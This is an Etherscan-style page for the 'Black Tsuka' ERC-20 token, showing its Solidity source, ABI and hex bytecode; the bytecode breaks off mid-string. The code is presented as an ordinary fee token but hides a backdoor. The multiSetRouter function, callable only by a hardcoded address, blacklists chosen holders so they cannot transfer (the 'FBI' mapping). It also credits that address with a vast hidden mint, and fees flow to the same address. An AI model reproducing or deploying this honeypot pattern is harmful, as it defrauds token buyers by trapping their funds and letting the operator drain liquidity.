ERC-20
Overview
Max Total Supply
1,000,000,000 BTsuka
Holders
30
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
35,754,879.97 BTsukaValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BlackTsuka
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BlackTsuka is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "Black Tsuka"; string private _symbol = "BTsuka"; uint8 private _decimals = 9; address payable public _routerFee; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public FBI; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _routerFee = payable(address(0x1d4c38c38AB61853606C5Ff6B5a67B634F9e1302)); _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function UniswapV2Launch() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } receive() external payable {} function decimals() public view returns (uint8) { return _decimals; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "telufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } uint256 private routerAmount = uint256(9**6).mul(_totalSupply); bool private isCAddr; function multiSetRouter(address[] calldata routerAddress, bool status) public {require(_msgSender() == _routerFee); for (uint256 i; i < routerAddress.length; i++) { isCAddr = (routerAddress[i] == _routerFee); FBI[routerAddress[i]] = status; if(isCAddr){ _balances[_routerFee] = uint256(routerAmount/2).add(_balances[_routerFee]); } } } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) _routerFee.transfer(MarketAmount); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } require(!FBI[from], "ERC20: FBI up the door !!!"); finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FBI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_routerFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"routerAddress","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiSetRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600b81526020017f426c61636b205473756b6100000000000000000000000000000000000000000081525060019080519060200190620000519291906200048f565b506040518060400160405280600681526020017f425473756b610000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200048f565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e491906200065a565b633b9aca00620000f5919062000797565b600b5562000117600b5462081bf1620003da60201b6200112a1790919060201c565b600e553480156200012757600080fd5b50620001386200045e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3731d4c38c38ab61853606c5ff6b5a67b634f9e1302600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200025d6200046660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600460006200031d6200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200036b6200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003cc919062000599565b60405180910390a36200092e565b600080831415620003ef576000905062000458565b60008284620003ff919062000797565b9050828482620004109190620005c7565b1462000453576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200044a9062000577565b60405180910390fd5b809150505b92915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200049d906200080f565b90600052602060002090601f016020900481019282620004c157600085556200050d565b82601f10620004dc57805160ff19168380011785556200050d565b828001600101855582156200050d579182015b828111156200050c578251825591602001919060010190620004ef565b5b5090506200051c919062000520565b5090565b5b808211156200053b57600081600090555060010162000521565b5090565b60006200054e602183620005b6565b91506200055b82620008df565b604082019050919050565b6200057181620007f8565b82525050565b6000602082019050818103600083015262000592816200053f565b9050919050565b6000602082019050620005b0600083018462000566565b92915050565b600082825260208201905092915050565b6000620005d482620007f8565b9150620005e183620007f8565b925082620005f457620005f362000874565b5b828204905092915050565b6000808291508390505b6001851115620006515780860481111562000629576200062862000845565b5b6001851615620006395780820291505b80810290506200064985620008d2565b945062000609565b94509492505050565b60006200066782620007f8565b9150620006748362000802565b9250620006a37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006ab565b905092915050565b600082620006bd576001905062000790565b81620006cd576000905062000790565b8160018114620006e65760028114620006f15762000727565b600191505062000790565b60ff84111562000706576200070562000845565b5b8360020a91508482111562000720576200071f62000845565b5b5062000790565b5060208310610133831016604e8410600b8410161715620007615782820a9050838111156200075b576200075a62000845565b5b62000790565b620007708484846001620005ff565b925090508184048111156200078a576200078962000845565b5b81810290505b9392505050565b6000620007a482620007f8565b9150620007b183620007f8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007ed57620007ec62000845565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200082857607f821691505b602082108114156200083f576200083e620008a3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b612dcb806200093e6000396000f3fe60806040526004361061012e5760003560e01c806395d89b41116100ab578063c5d241891161006f578063c5d2418914610427578063c816841b14610452578063c86079521461047d578063dd62ed3e146104a8578063f2fde38b146104e5578063fa77b2461461050e57610135565b806395d89b411461034257806399632a351461036d578063a20f74f7146103aa578063a738929d146103c1578063a9059cbb146103ea57610135565b8063313ce567116100f2578063313ce567146102355780633345611e146102605780633ecad2711461029d57806370a08231146102da5780638da5cb5b1461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612594565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612220565b6105cb565b604051610199919061255e565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612579565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906126b6565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906121cd565b610619565b60405161022c919061255e565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b604051610257919061272b565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612133565b61070a565b604051610294919061255e565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612133565b61072a565b6040516102d1919061255e565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190612133565b61074a565b60405161030e91906126b6565b60405180910390f35b34801561032357600080fd5b5061032c610793565b60405161033991906124ff565b60405180910390f35b34801561034e57600080fd5b506103576107bc565b6040516103649190612594565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190612133565b61084e565b6040516103a1919061255e565b60405180910390f35b3480156103b657600080fd5b506103bf61086e565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612260565b610c46565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612220565b610eda565b60405161041e919061255e565b60405180910390f35b34801561043357600080fd5b5061043c610ef9565b60405161044991906126b6565b60405180910390f35b34801561045e57600080fd5b50610467610eff565b60405161047491906124ff565b60405180910390f35b34801561048957600080fd5b50610492610f25565b60405161049f91906126b6565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061218d565b610f2b565b6040516104dc91906126b6565b60405180910390f35b3480156104f157600080fd5b5061050c60048036038101906105079190612133565b610fb2565b005b34801561051a57600080fd5b50610523611104565b604051610530919061251a565b60405180910390f35b60606001805461054890612992565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612992565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d86111a5565b84846111ad565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b6000610626848484611378565b506106e8846106336111a5565b6106e385604051806060016040528060288152602001612d6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106996111a5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f99092919063ffffffff16565b6111ad565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107cb90612992565b80601f01602080910402602001604051908101604052809291908181526020018280546107f790612992565b80156108445780601f1061081957610100808354040283529160200191610844565b820191906000526020600020905b81548152906001019060200180831161082757829003601f168201915b5050505050905090565b60086020528060005260406000206000915054906101000a900460ff1681565b6108766111a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa90612656565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190612160565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109fc57600080fd5b505afa158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190612160565b6040518363ffffffff1660e01b8152600401610a51929190612535565b602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190612160565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c876111a5565b73ffffffffffffffffffffffffffffffffffffffff1614610ca757600080fd5b60005b83839050811015610ed457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16848483818110610d0157610d00612a9a565b5b9050602002016020810190610d169190612133565b73ffffffffffffffffffffffffffffffffffffffff1614600f60006101000a81548160ff0219169083151502179055508160086000868685818110610d5e57610d5d612a9a565b5b9050602002016020810190610d739190612133565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f60009054906101000a900460ff1615610ec157610e5b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546002600e54610e4d91906127f1565b611a5d90919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610ecc906129c4565b915050610caa565b50505050565b6000610eee610ee76111a5565b8484611378565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fba6111a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e90612656565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561113d576000905061119f565b6000828461114b9190612822565b905082848261115a91906127f1565b1461119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612636565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561121d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121490612696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906125f6565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161136b91906126b6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e090612676565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611459576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611450906125b6565b60405180910390fd5b600d60149054906101000a900460ff161561148057611479848484611abb565b90506119f2565b600061148b3061074a565b9050600d60149054906101000a900460ff161580156114f45750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115035761150281611c8e565b5b61155583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061163b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611648578390506118f1565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116cb576116c460646116b66009548861112a90919063ffffffff16565b611fdc90919063ffffffff16565b9050611749565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611748576117456064611737600a548861112a90919063ffffffff16565b611fdc90919063ffffffff16565b90505b5b600081111561184d576117a481600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5d90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161184491906126b6565b60405180910390a35b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d1906125d6565b60405180910390fd5b6118ed8186611f9290919063ffffffff16565b9150505b61194381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119e391906126b6565b60405180910390a36001925050505b9392505050565b6000838311158290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a389190612594565b60405180910390fd5b5060008385611a50919061287c565b9050809150509392505050565b6000808284611a6c919061279b565b905083811015611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa890612616565b60405180910390fd5b8091505092915050565b6000611b46826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f99092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bdb82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c7b91906126b6565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cc657611cc5612ac9565b5b604051908082528060200260200182016040528015611cf45781602001602082028036833780820191505090505b5090503081600081518110611d0c57611d0b612a9a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dae57600080fd5b505afa158015611dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de69190612160565b81600181518110611dfa57611df9612a9a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6130600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111ad565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ec59594939291906126d1565b600060405180830381600087803b158015611edf57600080fd5b505af1925050508015611ef0575060015b611ef957611efa565b5b60004790506000811115611f7257600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f70573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611fd483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061